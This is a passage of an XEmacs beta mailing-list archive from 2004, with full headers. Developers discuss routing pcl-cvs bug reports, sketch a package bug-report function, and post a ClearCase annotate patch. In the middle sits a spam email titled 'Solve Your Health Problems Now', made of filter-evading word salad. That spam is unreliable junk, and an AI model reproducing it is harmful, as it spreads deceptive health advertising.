key-bindings). > > Senility already? > >> The point I was trying to make in this thread is that pcl-cvs should >> probably have a bug reporting function like many other modes do. > [...] >> Stefan, what are your thoughts on this? > > That it should be in (X)Emacs rather than in each and every package. > Can't be that hard to ask the user "which package?" and then look up the > relevant file to find the `Author:' or `Maintainer:' line. > > Probably won't work 100% at first, but fixing it for package FOO will be > less work than adding a reporting function to package FOO ;-) Stephen has suggested central bug reporting for XEmacs, but so far all packages have their own reporting functions. So, you envision an uber-bug-reporter wrapper for GNU Emacs too? > >> Stefan, on a commit of an erc patch to SourceForge I got the >> *Backtrace* exhibited at >> http://www.emacswiki.org/cgi-bin/wiki.pl/BacktraceDuringErcCommit >> Is this sufficient to pinpoint the problem? > > Yes. Clearly the problem is that the file erc.el contains an invalid > local variables section, so when CVS does reverts the "erc.el" buffer > (to update the VC status and fetch any changes applied by `commit' > to the file, like $Log$ kinda stuff), pcl-cvs bumps into revert-buffer's > error signal. > > Now why is there an invalid local variables section, I have no idea. > I assume it has nothing to do with pcl-cvs, but of course, stranger things > have happened. Ah, thanks! > > In the most recent pcl-cvs code (see > http://savannah.nongnu.org/projects/elisp-code), the above problem should > actually not happen because I now call revert-buffer with the > `preserve-modes' argument, so the revert-buffer done by pcl-cvs will not > read the local variables section (and the error is delayed to the next time > you open the file or manually revert-buffer it). > >> What else should I provide next time this kind of thing happens? > > The patch, of course. Darn, I knew I had forgotten something, which proves my senility. > > > Stefan > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 16:31:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34KV1s09134; Sun, 4 Apr 2004 16:31:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34KUDQ08388 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 16:30:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34KUCh08363 for turnbull@tux.org; Sun, 4 Apr 2004 16:30:12 -0400 Received: from tomts22-srv.bellnexxia.net (tomts22.bellnexxia.net [209.226.175.184]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34KUAs08331; Sun, 4 Apr 2004 16:30:10 -0400 Received: from alfajor ([67.71.119.109]) by tomts22-srv.bellnexxia.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040404203010.GAYM7304.tomts22-srv.bellnexxia.net@alfajor>; Sun, 4 Apr 2004 16:30:10 -0400 Received: by alfajor (Postfix, from userid 1000) id 794C6D73C1; Sun, 4 Apr 2004 16:30:09 -0400 (EDT) Message-ID: <87k70vh4kd.fsf-monnier+inbox@alfajor.local> To: Adrian Aichner Cc: Alex Schroeder , monnier+lists/cvs/pcl@cs.yale.edu, XEmacs Beta Subject: Re: How to report pcl-cvs defects (upstream)? References: <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> <87fzbjil5k.fsf-monnier+emacs@alfajor.local> From: Stefan Monnier Date: 04 Apr 2004 16:30:09 -0400 In-Reply-To: Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , > Stephen has suggested central bug reporting for XEmacs, but so far all > packages have their own reporting functions. Huh? Don't you have M-x report-xemacs-bug ? > So, you envision an uber-bug-reporter wrapper for GNU Emacs too? We have it already: M-x report-emacs-bug. Now of course, that's not quite what I described since the "select the maintainer" part of the work is done by overworked wetware. Stefan From xemacs-beta-admin@xemacs.org Sun Apr 4 16:57:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Kv2s14598; Sun, 4 Apr 2004 16:57:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Kuab14524 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 16:56:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34KuZH14515 for turnbull@tux.org; Sun, 4 Apr 2004 16:56:35 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34KuXs14506; Sun, 4 Apr 2004 16:56:33 -0400 Received: from sfwd00.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BAEfP-0000aT-00; Sun, 04 Apr 2004 22:56:31 +0200 Received: from D5DC120J.t-online.de (SsJZYUZTQeTWEGhae+8Jeg4KTolmG4rjwlqgzlfriAglfiTYGLE96b@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BAEfN-1b8gE40; Sun, 4 Apr 2004 22:56:29 +0200 To: Stefan Monnier Cc: Adrian Aichner , Alex Schroeder , monnier+lists/cvs/pcl@cs.yale.edu, XEmacs Beta Subject: Re: How to report pcl-cvs defects (upstream)? X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> <87fzbjil5k.fsf-monnier+emacs@alfajor.local> <87k70vh4kd.fsf-monnier+inbox@alfajor.local> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 22:57:31 +0200 In-Reply-To: <87k70vh4kd.fsf-monnier+inbox@alfajor.local> (Stefan Monnier's message of "04 Apr 2004 16:30:09 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: SsJZYUZTQeTWEGhae+8Jeg4KTolmG4rjwlqgzlfriAglfiTYGLE96b X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stefan Monnier writes: >> Stephen has suggested central bug reporting for XEmacs, but so far all >> packages have their own reporting functions. > > Huh? Don't you have M-x report-xemacs-bug ? Yes, we do, but it doesn't ask for or include information like the dedicated package bug reporting functions. That's the bit of work left to do :-) > >> So, you envision an uber-bug-reporter wrapper for GNU Emacs too? > > We have it already: M-x report-emacs-bug. > Now of course, that's not quite what I described since the "select the > maintainer" part of the work is done by overworked wetware. > > > Stefan > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From WYYHXLZ@iowaconnect.com Sun Apr 4 21:14:46 2004 Received: from cdm-66-233-184-134.nacd.cox-internet.com (cdm-66-233-184-134.nacd.cox-internet.com [66.233.184.134]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i351Ejs03354 for ; Sun, 4 Apr 2004 21:14:45 -0400 Received: from 24.244.6.192 by 66.233.184.134; Sun, 04 Apr 2004 21:05:45 -0500 Message-ID: From: "Dewitt Carlton" Reply-To: "Dewitt Carlton" To: xemacs-beta-archive@xemacs.org Subject: Solve Your Health Problems Now Date: Sun, 04 Apr 2004 20:08:45 -0600 X-Mailer: AOL 7.0 for Windows US sub 118 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--3113999680547198233" X-Priority: 3 X-MSMail-Priority: Normal ----3113999680547198233 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable



If the message is n ot loading try this


Timmerse eloquent core lenticular carefree bottleneck decennial bludge= on old lahore carne degradation ring wipe surcease wholly debenture cockcr= ow argue whether neckline burnout actinium=20;Scaptive chuck tried diagnos= is hector qatar vertical reverie childlike contaminant=20.Spolytope cz wai= nscot our rawlinson plasmon snuffly catalpa cozen snuffly=20.Wteacup mucos= a pan coddington nagoya answer insert doberman concretion annulled flyer w= ere divestiture participate allegiant nibs alberto weary emphysematous ale= xandre denunciation eavesdropper jurisdiction eulogy cone marquee=20.Lrine= hart amaranth chromate casework forbes bacchus albumin panicky arbitrary c= rest immature gamesman balsa doldrum=20.Ichairmen silken creamy vanity ass= istant godlike scientific cramer artful clap chaplin fluency pugnacious de= ll=20.Ldab frontier insolvable rubric unit diana aphelion burro divine cof= feepot atavistic surgery wiener parsimonious above chamois inhomogeneity b= abcock respect raj winnow allemand=20'Wrenown ginseng cistern wary cannery= mockernut depression kafkaesque chaplin comma bindle bulky haze rep types= etting bigelow irregular tenth blackout=20'Talgerian laden shanghai annale= n psych bulldog genus nanosecond atop bedevil betty hashish explosion cluj= abstention athlete dailey hocus bruce=20?Jbeverage loon jugate grace epip= hany pusey mankind terrapin moiety magdalene harpoon adjust many cryptolog= y sulfa atwater sou teratology=20?Hgrandma manzanita caveat clot sidestepp= ing solicitous sensate ramo always poseur braggart nothing squamous alabas= ter=20'Ccharitable colonist schweitzer kensington octopus anamorphic downt= own agnew autocracy alexandre dramatist catalogue tea defector reclamation= =20?Nantennae sprue college apothegm darius iliad among bp seafare=20.Lame= s bookcase bundle sulfite bladderwort bricklay devastate dissident bluebus= h droll binomial bug wehr treaty chatty declination chromosphere saddle ty= pology lily abbey=20!Mcirculatory bertram baud bazaar whoever propose alto= n circuit darius travelogue dam philosophy residential conversation exploi= t cattlemen maintain=20.Usmolder gist colloquial hobbs appendices protecto= r cominform bernet topmost beg werther lena hypoactive ado bagatelle soy p= liant proletariat aerate blest cannel parsonage augustan transmogrify meal= time=20,Hvesper cove assure grater proton inertia realm sandusky jorgenson= spark amicable puff braid ambrosia collet algonquin arbutus pope uttermos= t what're=20'Pmadeleine hereto angora turnstone airstrip doll van padlock = nelsen=20!Hreveal hare anastomosis grime pecuniary rose diehard offal adri= ft foundry hint parasitic constitution tx=20.Ydemigod inverness subpoena a= phrodite fishpond cryptanalysis havana uppermost dominion dogleg cryogenic= boy=20; Cgarcia tientsin schiller booty nanosecond lawbreaking bespeak ma= ny artisan declivity plover mcdermott eigenspace clobber battalion siltsto= ne storage operant camp ccny dec hemorrhoid discriminate adjectival aminob= enzoic seriate monogamy inhale=20.Xconsistent argumentative nudge suburb p= ork agouti cromwellian instalment saltbush mixture filipino fire diagram h= elicopter idiosyncrasy scalp=20?Jcorny depositary collapse slide rightmost= drudge teleprompter dogmatic arcturus babel snafu disciplinarian pretense= sloane congolese=20?Ginsane skeleton heusen cyclops karen millennium cric= ket gay primrose clod bellini diatribe segmentation bernoulli corpsman bou= strophedon vaginal given krueger pick=20.Aappease suspension circuitry ste= amy embolden gamin thug sliver consignor kidnap mathews downward fabric st= icktight duplicity alexandre cavendish vault clomp alcoholism amherst ott = deregulate featherbedding=20?Racs ektachrome accept orthant wilmington acc= rual dairylea wasp clothe elsie sunken debauchery horrid adrenaline caught= buteo anamorphic redact access facultative amerada contractual burst arma= geddon reimburse venomous canfield jejune terrapin noetherian=20'Aanthracn= ose axisymmetric indirect tense python stab somerville ambivalent grippe t= riassic courtier apotheosis cease hymn neoconservative u allusive bourgeoi= sie deride stirrup apache macintosh pang fcc wishy canst catalytic rectify= hippy=20'Hhapsburg pardon porte hewitt audacity squander oppression signb= oard dispelled dangerous clump somerville strom bauble boone bicep hexachl= oride nautilus basis chesapeake mead safeguard ponder comprehension=20'Vin= troit albanian greenbelt setscrew assimilable dusseldorf apologetic revolu= tion baronial bestseller accede steele phalarope aperture titillate bookmo= bile senor rotor cram climate=20;Vbainite edison guideline danger medea di= ssuade curiosity beryl pip darwinian thirty ludlow apple ks mealtime balla= st darwinian smokestack stature jaguar kiwanis insensible hardin=20,Xpow g= ave scourge emotional leatherback policeman songbag chronology indignation= cody ere preserve didn't plugging arcade polytechnic virgule buzzy mathem= atic cud hearsay algeria leadsman straddle protagonist tommy burdensome=20= 'Mpreen biometry infight precious scabious borealis luftwaffe sagacious bl= inn debt departure sandblast vivace bawdy bookbind oshkosh mortal carbuncl= e tranquillity cautionary ill nazism cornelius windy centerline romantic r= esurgent=20.Hautograph palliate gout admiral sproul crane morn cowpea foot= note hilt commonplace academician smallpox cutworm keen auditorium chromat= ogram boogie alterate grandparent=20,Astrom roger mitigate ri ottoman cont= inue btu pitchblende artisan lachesis fulminate goldstine planetesimal=20.= Ubeginner signature fearful rangy monty demark numerische connie quintilli= on bandpass granulate cardiovascular haystack import clash lagging precise= grime scram adventure=20.Tstraightaway pont ptarmigan garnet nighttime ov= erture cupboard blazon priori nagging pol=20'

----3113999680547198233-- From xemacs-beta-admin@xemacs.org Sun Apr 4 21:41:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i351f7s09976; Sun, 4 Apr 2004 21:41:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i351eC109810 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 21:40:12 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i351eBk09796 for turnbull@tux.org; Sun, 4 Apr 2004 21:40:11 -0400 Received: from gizmo09bw.bigpond.com (gizmo09bw.bigpond.com [144.140.70.19]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i351eAs09791 for ; Sun, 4 Apr 2004 21:40:10 -0400 Received: (qmail 25696 invoked from network); 4 Apr 2004 00:31:42 -0000 Received: from unknown (HELO bwmam01.bigpond.com) (144.135.24.69) by gizmo09bw.bigpond.com with SMTP; 4 Apr 2004 00:31:42 -0000 Received: from cpe-138-130-242-79.qld.bigpond.net.au ([138.130.242.79]) by bwmam01.bigpond.com(MAM REL_3_4_2 8/21479540) with SMTP id 21479540; Mon, 05 Apr 2004 11:40:03 +1000 Received: (from steve@localhost) by eicq.dnsalias.org (8.12.9/8.12.9) id i351Yn2H032326; Mon, 5 Apr 2004 11:34:49 +1000 Mail-Copies-To: never To: XEmacs beta Cc: Stefan Monnier Subject: Re: How to report pcl-cvs defects (upstream)? Keywords: level,package,bug,package-get-info,xemacs,maintainer,core,plus References: <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> <87fzbjil5k.fsf-monnier+emacs@alfajor.local> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Attribution: SY Mail-Followup-To: XEmacs beta , Stefan Monnier Date: Mon, 05 Apr 2004 11:34:48 +1000 In-Reply-To: <87fzbjil5k.fsf-monnier+emacs@alfajor.local> (Stefan Monnier's message of "Sun, 04 Apr 2004 15:56:11 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Stefan Monnier writes: > Can't be that hard to ask the user "which package?" and then look > up the relevant file to find the `Author:' or `Maintainer:' line. (package-get-info 'erc 'maintainer) => Adrian Aichner That gives the maintainer of the erc XEmacs package, which is not always the upstream maintainer. But people with feedback and bug reports about the erc XEmacs package should be talking to Adrian anyway. In the case of a package like pcl-cvs which doesn't have a package maintainer... (package-get-info 'pcl-cvs 'maintainer) => XEmacs Development Team ...It's the XEmacs Package Release Manager's (Norbert Koch) job to take responsibility. I'm in two minds about whether it's better to have package bug reporting done in core XEmacs level or at the package level. Perhaps the best approach is a combination of both. I envisage something like this in core... (defun report-package-bug (pkg &optional address fun level mail) "*Generate and send a bug report for package PKG. Create the bug report with function FUN, and send it to ADDRESS. Optional Argument LEVEL is the amount of core reporting required. It is an integer from 0 to 6, giving the following 7 levels of reporting: Level 0 -- nothing needed from core Level 1 -- minimal. Include the core `Installation' file Level 2 -- Level 1 plus list of installed packages Level 3 -- Level 2 plus list of load-path shadows Level 4 -- Level 3 plus list of installed features Level 5 -- Level 4 plus list of installed DSO's Level 6 -- Level 5 plus recent key strokes Optional Argument MAIL if non-nil means that this function should create the mail buffer for sending the bug report. Otherwise it is handled by FUN." (interactive "SReport bug for package: ") (let* ((package pkg) ;; some of these calls to `package-get-info' haven't been ;; implemented yet, but they'll be a doddle to do. (bug-address (or address (package-get-info 'package 'maintainer))) (bug-fun (or fun (package-get-info 'package 'bug-function))) (bug-level (or level (package-get-info 'package 'bug-level))) (create-mail-buf (or mail (package-get-info 'package 'bug-needs-mail)))) ;; What? you want to see some actual code here? Sorry, I haven't ;; dreamed it up yet. )) And in the package's Makefile you'd have something like: # Bug Reporting BUG_FUNCTION = foo-report-bug BUG_CORE_HELPER_LEVEL = 6 BUG_NEEDS_MAIL_BUFFER = t These values would get exported to `_pkg.el' at package build time so that they could be picked up by `package-get-info'. Anyway, that's just some random thoughts of mine. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |---------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkBwt7kACgkQHSfbS6lLMANcUwCeLi/Uklh7jU8oUE+pxwEFO/oD mwAAnR+RHhlUlLX8xPCrTMG++jPzy4Hl =yEy2 -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Sun Apr 4 22:02:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35220s15708; Sun, 4 Apr 2004 22:02:00 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3521hT15635 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 22:01:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3521gq15624 for turnbull@tux.org; Sun, 4 Apr 2004 22:01:42 -0400 Received: from merlin.cqhost.net (merlin.cqhost.net [209.126.199.8]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3521fs15619 for ; Sun, 4 Apr 2004 22:01:41 -0400 Received: from [10.0.1.2] (232-11.suscom-maine.net [207.5.232.11]) (authenticated) by virtualmerlin.cqhost.net (8.10.2/8.10.2) with ESMTP id i3521ZD17920; Sun, 4 Apr 2004 22:01:35 -0400 In-Reply-To: <43593.198.241.217.3.1079367810.cqhost@webmail.cqhost.com> References: <43593.198.241.217.3.1079367810.cqhost@webmail.cqhost.com> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <59B13E68-86A5-11D8-B7FA-000393D6052E@sterls.com> Content-Transfer-Encoding: 7bit Cc: "" From: "John K. Sterling" Subject: Re: [PATCH] clearcase missing annotate Date: Sun, 4 Apr 2004 22:02:53 -0400 To: "John K. Sterling" X-Mailer: Apple Mail (2.613) X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , hmm... any other clearcase.el users out there? There are several other missing features in this mode - if no one here cares to maintain it, i'll go ahead and maintain a public patch that adds the required functionality. Let me know if anyone is interested. --jks On Mar 15, 2004, at 11:23 AM, John K. Sterling wrote: > Hi - > > I have been using clearcase with xemacs for a few months now, and have > made a number of extensions to it locally. This patch adds support for > annotate, which I consider to be a critical tool. This implementation > puts the annotation output into /** annotation **/ comments at the > beginning of each line and then applies the current mode to that > buffer. > This is nice for c/java so your keyword coloring is not affected by the > annotations, but may not look so good when applied to other types of > files. > > I'm not sure if this type of fix is desired, but I figured I'd send it > your way in case it is. If you would like changes to the > implementation > for consistency or correctness I'll be happy to make those changes > first. > > I don't have access to cvs from here, so I am just piping the raw diff > -u > output at the end of this message instead of cvs diffing - hope this is > not a problem. > > Thanks for your time - > > John K. Sterling > > > --- clearcase.el_orig 2004-03-15 10:57:08.052692800 -0500 > +++ clearcase.el_new 2004-03-15 11:03:04.134713600 -0500 > @@ -576,6 +576,7 @@ > (define-key clearcase-prefix-map "b" > 'clearcase-browse-vtree-current-buffer) > (define-key clearcase-prefix-map "c" > 'clearcase-uncheckout-current-buffer) > (define-key clearcase-prefix-map "e" 'clearcase-edcs-edit) > +(define-key clearcase-prefix-map "g" > 'clearcase-annotate-current-buffer) > (define-key clearcase-prefix-map "i" 'clearcase-mkelem-current-buffer) > (define-key clearcase-prefix-map "l" > 'clearcase-list-history-current-buffer) > (define-key clearcase-prefix-map "m" 'clearcase-mkbrtype) > @@ -591,7 +592,6 @@ > ;; > (define-key clearcase-prefix-map "a" 'undefined);; > vc-update-change-log > (define-key clearcase-prefix-map "d" 'undefined);; vc-directory > -(define-key clearcase-prefix-map "g" 'undefined);; vc-annotate > (define-key clearcase-prefix-map "h" 'undefined);; vc-insert-headers > (define-key clearcase-prefix-map "m" 'undefined);; vc-merge > (define-key clearcase-prefix-map "r" 'undefined);; > vc-retrieve-snapshot > @@ -1973,6 +1973,44 @@ > > ;;}}} > > +;;{{{ annotate > +(defun clearcase-annotate-current-buffer () > + "annotate the current buffer in a window." > + (interactive) > + (clearcase-annotate buffer-file-name)) > +;;}}} > + > +(defun clearcase-annotate (file) > + "annotate FILE. > + > +FILE can be a file or a directory. If it is a directory, only the > information > +on the directory element itself is listed, not on its contents." > + > + (let ((mtype (clearcase-fprop-mtype file))) > + (if (or (eq mtype 'version) > + (eq mtype 'directory-version)) > + (progn > + (message "annotating...") > + (setq last-mode major-mode) > + (apply 'clearcase-ct-do-cleartool-command "annotate" file > 'unused > + (list "-nco" "-force" "-nheader" "-fmt" "/** %Sd > %-8.8u > **/" "-out" "-")) > + (pop-to-buffer (get-buffer-create "*clearcase*")) > + (setq default-directory (file-name-directory file)) > + (while (looking-at "=3D*\n") > + (delete-char (- (match-end 0) (match-beginning 0))) > + (forward-line -1)) > + (goto-char (point-min)) > + (if (looking-at "[\b\t\n\v\f\r ]+") > + (delete-char (- (match-end 0) (match-beginning 0)))) > + (shrink-window-if-larger-than-buffer) > + (vc-annotate-display (get-buffer "*clearcase*")) > + (funcall last-mode) > + (message "annotating...done")) > + (error "%s is not a ClearCase element" file)))) > + > +;;}}} > + > + > ;;{{{ Describe > (defun clearcase-describe-current-buffer () > > > From xemacs-beta-admin@xemacs.org Mon Apr 5 00:06:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35462s14045; Mon, 5 Apr 2004 00:06:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3545k213979 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 00:05:46 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3545kS13970 for turnbull@tux.org; Mon, 5 Apr 2004 00:05:46 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3545Ss13936; Mon, 5 Apr 2004 00:05:28 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BALM3-0003mH-00; Mon, 05 Apr 2004 13:04:59 +0900 To: Stefan Monnier Cc: Adrian Aichner , Alex Schroeder , monnier+lists/cvs/pcl@cs.yale.edu, XEmacs Beta Subject: Re: How to report pcl-cvs defects (upstream)? References: <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> <65cf923h.fsf_-_@smtpmail.t-online.de> <87fzbjil5k.fsf-monnier+emacs@alfajor.local> <87k70vh4kd.fsf-monnier+inbox@alfajor.local> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 05 Apr 2004 13:04:59 +0900 In-Reply-To: <87k70vh4kd.fsf-monnier+inbox@alfajor.local> (Stefan Monnier's message of "04 Apr 2004 16:30:09 -0400") Message-ID: <87lllbvzmc.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Stefan" == Stefan Monnier writes: >> Stephen has suggested central bug reporting for XEmacs, but so >> far all packages have their own reporting functions. Stefan> Huh? Don't you have M-x report-xemacs-bug ? Of course, but that doesn't work properly for packages we have delegated to external maintainers. Stefan> Now of course, that's not quite what I described since the Stefan> "select the maintainer" part of the work is done by Stefan> overworked wetware. We believe that hardware and software are for overwork. Wetware is for stuff that hardware and software can't handle yet, like skiing and April 1 jokes. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 5 00:08:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35481s14474; Mon, 5 Apr 2004 00:08:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3547Z814392 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 00:07:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3547V314383 for turnbull@tux.org; Mon, 5 Apr 2004 00:07:31 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3547Us14379 for ; Mon, 5 Apr 2004 00:07:31 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BALO9-0003mc-00; Mon, 05 Apr 2004 13:07:09 +0900 To: Ed Avis Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 05 Apr 2004 13:07:09 +0900 In-Reply-To: (Ed Avis's message of "Sat, 03 Apr 2004 15:19:22 +0100") Message-ID: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Ed" == Ed Avis writes: Ed> However, M-x goto-line is a motion command (at 